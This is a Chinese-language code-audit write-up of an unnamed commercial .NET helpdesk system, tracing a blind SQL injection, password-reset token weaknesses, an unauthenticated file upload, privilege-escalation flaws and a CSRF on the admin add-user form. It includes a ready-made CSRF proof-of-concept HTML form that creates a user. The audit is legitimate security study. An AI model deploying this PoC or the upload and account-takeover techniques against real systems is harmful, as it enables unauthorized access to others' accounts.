本篇为.NET的代码审计思路,所以这里就详细的呈现一个完整的.NET程序审计过程,因为是审计思路,可能文中不会涉及到漏洞利用相关。.NET的程序一般为单入口,所以审计起来算是比较轻松的。因为程序为收费软件,为了避免不必要的麻烦,就不透露是什么程序了。
在install/default.aspx中,我们找到第一行,这里是引用DLL文件程序的位置。
找到DLL的位置,DLL的位置为Helpdesk.Install._Default,我们打开它。
首先程序获取了我们提交过来的数据库各个参数,随后进行了if为空判断,如果不为空则进入了下面else if判断,这里判断了目录下的lock.txt文件,如果存在,则会请求删除,无法进行下面操作,很显然,这里的文件是我们不可控的,安装后我们是没有办法进行重新安装的。
在登录处,我们还是用相同的方法找到登录入口函数,这里对我们的帐号和密码进行了处理,我们跟进Login函数
来到Login函数,我们可以看到这里并没有像我们想的那样对帐号密码进行拼接,而是用了预编译,那么,这里就不存在SQL注入了。在经过其他地方的审计后,发现这套系统大多数都用了预编译来防范SQL注入。
其实,很多的Web程序在前端会有很好的防范XSS或者SQL注入此类常规漏洞,但是在后端,就不会像前端的防御高了。在后端,我们也是可以找到SQL注入的。如下图,这个地方就没有进行预编译,和在PHP中一样,我们可以看到熟悉的SQL语句拼接,而且没有任何的过滤操作,这个SQL注入属于盲注,在ExeDataSet()函数方法中进行处理,很遗憾,这个函数也是没有对语句进行处理。
在找回密码处,这个系统只允许邮箱找回密码,当我们输入邮箱并点击密码重置后,会调用这个btn_getpassword这个函数,这个函数对我们提交过来的参数进行了处理,我们跟进SendCode()这个函数方法,看看它都做了什么处理。
来到SendCode函数,SendCode函数对我们的email进行了处理,用email来查询注册帐号的信息并赋值给reader变量。
我们继续往下看,这里对从数据库中读取出来的用户信息进行了变量的赋值操作,接下来我们看这些变量都进行了什么样的操作。
在对变量赋值完后,这里进行了URL和变量的拼接操作,这个就是完整的重置密码连接了,Str2我们知道是用户的Uid值,那rand是什么呢?我们跟进GetRand()函数看看
这个就很明显了,这个是一个获得随机化数的函数,用了C#自带的随机函数Random(),从上面传入的参数来看,随机了6位整形数字,范围为100000-999999。我们下面来看下,这个重置密码的连接是否为一次性的,我们是否可以暴力重置密码。
我们可以看到,这里把重置密码的uid和code插入了数据库,有效时间为48小时,我们跟进修改密码的chagepwd中去看下处理逻辑。
我们输入密码后,点击重置按钮后,会调用btn_submit_Click()函数,很遗憾,这里对我们修改次数进行了限制,如果不能在5次中猜对code,那么就没有希望了。
这个是后台管理员添加用户的表单,当我们把需要添加帐号的用户名和密码提交过来的时候,函数add_Click()进行处理,我们跟进AddUser()函数
来到AddUser()函数,这里对用户名,头像进行了赋值处理,最后调用了AddUser()方法函数,我们跟进这个重载函数
我们可以看到函数对参数进行了预编译后插入了数据库,整个过程没有csrf验证,所以我们可以构造SCRF表单,从而造成CSRF漏洞
我们只需要构造以下表单即可达到CSRF攻击的目的
<html>
<!-- CSRF PoC -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://demo.org/xxxxxxxx/admin/Users_EditUser.aspx" method="POST">
<input type="hidden" name="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" value="" />
<input type="hidden" name="__VIEWSTATEGENERATOR" value="E0800D22" />
<input type="hidden" name="username" value="usertest" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="image_small" value="" />
<input type="hidden" name="image_big" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="department" value="" />
<input type="hidden" name="displayname" value="" />
<input type="hidden" name="tel" value="" />
<input type="hidden" name="office" value="" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="mobile" value="" />
<input type="hidden" name="staffcode" value="" />
<input type="hidden" name="sex" value="" />
<input type="hidden" name="fax" value="" />
<input type="hidden" name="intro" value="" />
<input type="hidden" name="add" value="?·»?Š " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
我们来看下上传是否存在漏洞,我们在上传图片文件后,程序调用了下面这个函数,我们跟进SavePicture()函数,看下是怎么处理图片的
SavePicture()函数在获取到图片文件和其宽度和高度后,调用了SaveTempPicture()函数,文件数据进入了SaveTempPicture()函数,我们跟进SaveTempPicture()函数
来到SaveTempPicture()函数,函数进行了文件名的获取并且用时间进行了拼接赋值给了str变量,最后保存文件到tmp文件夹下并返回了路径
我们跟进GetFileSavePath()函数,这个函数获取了uploads目录下的当前日期目录,最后我们看下MakeSmallImg函数,
MakeSmallImg函数把存放在tmp目录下的文件和uploads文件下的目录进行了处理,我们可以看到这个函数把tmp目录文件里面的图片文件进行处理后放到了uploads文件里面,最后上传的完整的路径为uploads/2018-03/1803171724_test.aspx。
从上面的分析,我们可以知道,程序没有登录判断,所以可以前台直接上传,上传的文件名是我们可以控制的,程序并没有做任何的限制,但是这里程序会对我们上传的文件进行图片再次处理,所以如果不是图片文件的话,会爆出错误,这个就和PHP中的GD库有点像了.所以我们需要对图片进行处理后再上传。
这个程序存在多处越权,无论水平还是垂直越权都存在,那么这里拿一处来说明。
用户档案更改密码处,在我们获取到自己用户信息的时候,程序会返回用户的个人信息到前端,在我们填写完所有信息的时候,点击更新信息时,调用了Submit_Click()函数,我们跟进这个函数
可以看到,这里面的变量都是我们可以控制的,并没有权限相关判断,在获取了userinfo的信息后,直接进入了数据库,只要我们控制了userid和username,那么就可以修改任意用户的密码了,如我们用户名为test和userid为2用admin的userid为1替换,那么只需要修改userinfo这个变量的这两个字段就可以了。
修改事例如图
以上就是这套.NET程序的完整代码审计过程了,可能还有地方未涉及到,但是整体思路是这个样子的,.NET程序和JSP程序比较像,漏洞都是比较少的。在.NET程序中,最容易出现问题的就是权限问题,所以审计时可以多多关注权限这个点。